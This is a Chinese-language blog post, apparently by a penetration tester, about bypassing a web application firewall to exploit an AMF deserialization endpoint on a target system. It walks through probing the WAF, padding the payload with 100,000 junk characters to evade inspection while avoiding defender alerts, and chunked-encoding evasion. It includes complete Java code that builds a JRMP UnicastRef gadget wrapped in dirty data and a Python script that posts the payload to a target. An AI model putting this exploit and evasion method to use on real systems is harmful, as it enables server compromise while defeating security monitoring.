一次amf反序列化绕waf
2022-05-01 23:20:19

背景

某项目遇到一个amf反序列化

直接exp打发现没成功,抓包发现数据包被waf拦截了

image-20220425150216908

研究waf规则

删掉一截字符,观察是不是waf对/messagebroker/amf路由有监控

image-20220425150256158

发现数据包可以通行,那说明waf对这个路由是没有防护的,被拦大概率是因为序列化数据中有关键字触发了规则

对字符的规则大概率是触发jrmp的这个类sun.rmi.server.Unicastef,随便删掉这个Class名的一部分

image-20220425150518833

发现数据包也能正常发过去,那waf应该是对gadget中的Class名做了规则。

尝试一些通用的思路例如chunked或者延时chunked,都搞不定。

image-20220425151003841

没办法,尝试用大数据包试试,部分waf由于性能问题,遇到一些大数据包时,对超长的部分不会检查。

为了避免在/messagebroker/amf这个路由测试的时候被拦太多waf告警引起防守方警觉,我们先在任意的其他目录测一下效果。

直接发个3M的大数据包探探路,看看我们这个思路是否可行。

image-20220425152755839

成功绕过waf,说明我们这个大数据包的思路是可行的。现在再小测一下waf大概的边界在哪,因为直接构造几M的大数据包生成payload都得等一会儿,咱们还是尽可能地构造一个”小的”大数据包。

小逝一波5W大小的垃圾字符

image-20220425151456028

搞不定,翻一倍,提高到10W试试

image-20220425152632634

成功绕过。

poc构造

但是显然咱们这样强行扔一堆垃圾数据到序列化数据中会导致amf的反序列化失败。想起c0ny1大师傅脏数据绕waf的文章,我们这里的情景非常相似,可以抄袭大师傅的代码试试。

我之前没有研究过amf反序列化,所以这里本地搭个环境测测,amf的反序列化是否也可以像java原生反序列化一样用数据结构包裹我们的gadget。

试试用arrayList存放我们的gadget试试

image-20220425154149135

成功收到请求

image-20220425153926413

说明amf的反序列化也可以用数据结构插入脏数据来绕waf。

参考c0ny1大师傅的代码弄一个适配amf的版本,执行后在/tmp/amf.ser生成插入了100000大小脏数据的序列化数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
public class Amfdemo {

public static void main(String[] args) throws Exception {
Object object = generateUnicastRef("127.0.0.1", 1234);

Amfdemo dirtyDataFactory = new Amfdemo(object,100000);
byte[] amf = serialize(dirtyDataFactory.doWrap());

File file = new File("/tmp/amf.ser"); //构造好的序列化数据
FileOutputStream fos = new FileOutputStream(file);
fos.write(amf, 0, amf.length);
fos.flush();
fos.close();

// 反序列化对象
//ActionMessage actionMessage = deserialize(amf);
}

public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}

public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}

public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
ActionMessage actionMessage = new ActionMessage();
deserializer.readMessage(actionMessage, new ActionContext());
return actionMessage;
}

private int dirtyDataSize; //脏数据大小
private String dirtyData; //脏数据内容
private Object gadget; // ysoserila gadget对象

public Amfdemo(Object gadget, int dirtyDataSize) {
this.gadget = gadget;
this.dirtyDataSize = dirtyDataSize;
}

/**
* 将脏数据和gadget对象存到集合对象中
*
* @return 一个包裹脏数据和gadget对象可序列化对象
*/
public Object doWrap() {
Object wrapper = null;
dirtyData = getLongString(dirtyDataSize);
int type = (int) (Math.random() * 10) % 10 + 1;
switch (type) {
case 0:
List<Object> arrayList = new ArrayList<Object>();
arrayList.add(dirtyData);
arrayList.add(gadget);
wrapper = arrayList;
break;
case 1:
List<Object> linkedList = new LinkedList<Object>();
linkedList.add(dirtyData);
linkedList.add(gadget);
wrapper = linkedList;
break;
case 2:
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("a", dirtyData);
map.put("b", gadget);
wrapper = map;
break;
case 3:
LinkedHashMap<String, Object> linkedHashMap = new LinkedHashMap<String, Object>();
linkedHashMap.put("a", dirtyData);
linkedHashMap.put("b", gadget);
wrapper = linkedHashMap;
break;
default:
case 4:
TreeMap<String, Object> treeMap = new TreeMap<String, Object>();
treeMap.put("a", dirtyData);
treeMap.put("b", gadget);
wrapper = treeMap;
break;
}
return wrapper;
}

/**
* 生产随机字符串
*
* @param length 随机字符串长度
* @return 随机字符串
*/
public String getLongString(int length) {
String str = "";
for (int i = 0; i < length; i++) {
str += "x";
}
return str;
}

}

搞个python脚本把序列化数据发出去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding:utf-8
import requests

headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
}

target="https://xxxx/messagebroker/amf"
def main():
f = open('C:/Users/xxxx/Desktop/xx1.ser', 'r')

payload = f.read()
print("==========================================================")
print(len(payload))
print("==========================================================")

try:
resp = requests.post(target, timeout=5, headers=headers,data=payload, proxies={'http':'127.0.0.1:4567','https':'127.0.0.1:4567'}, verify=False)
print("Status code: %i" % resp.status_code)
except Exception as e:
print(e)

if __name__ == '__main__':
main()

构造10W大小的垃圾字符发包

image-20220425155601595

顺利拿下

image-20220425144934468

彩蛋

后面又遇到一个amf,发3M的大包也绕不过,但是通过未知的HTTP请求配合延时chunked成功触发

image-20220426134836814

收到jrmp请求

image-20220426134818214

Prev
2022-05-01 23:20:19
Next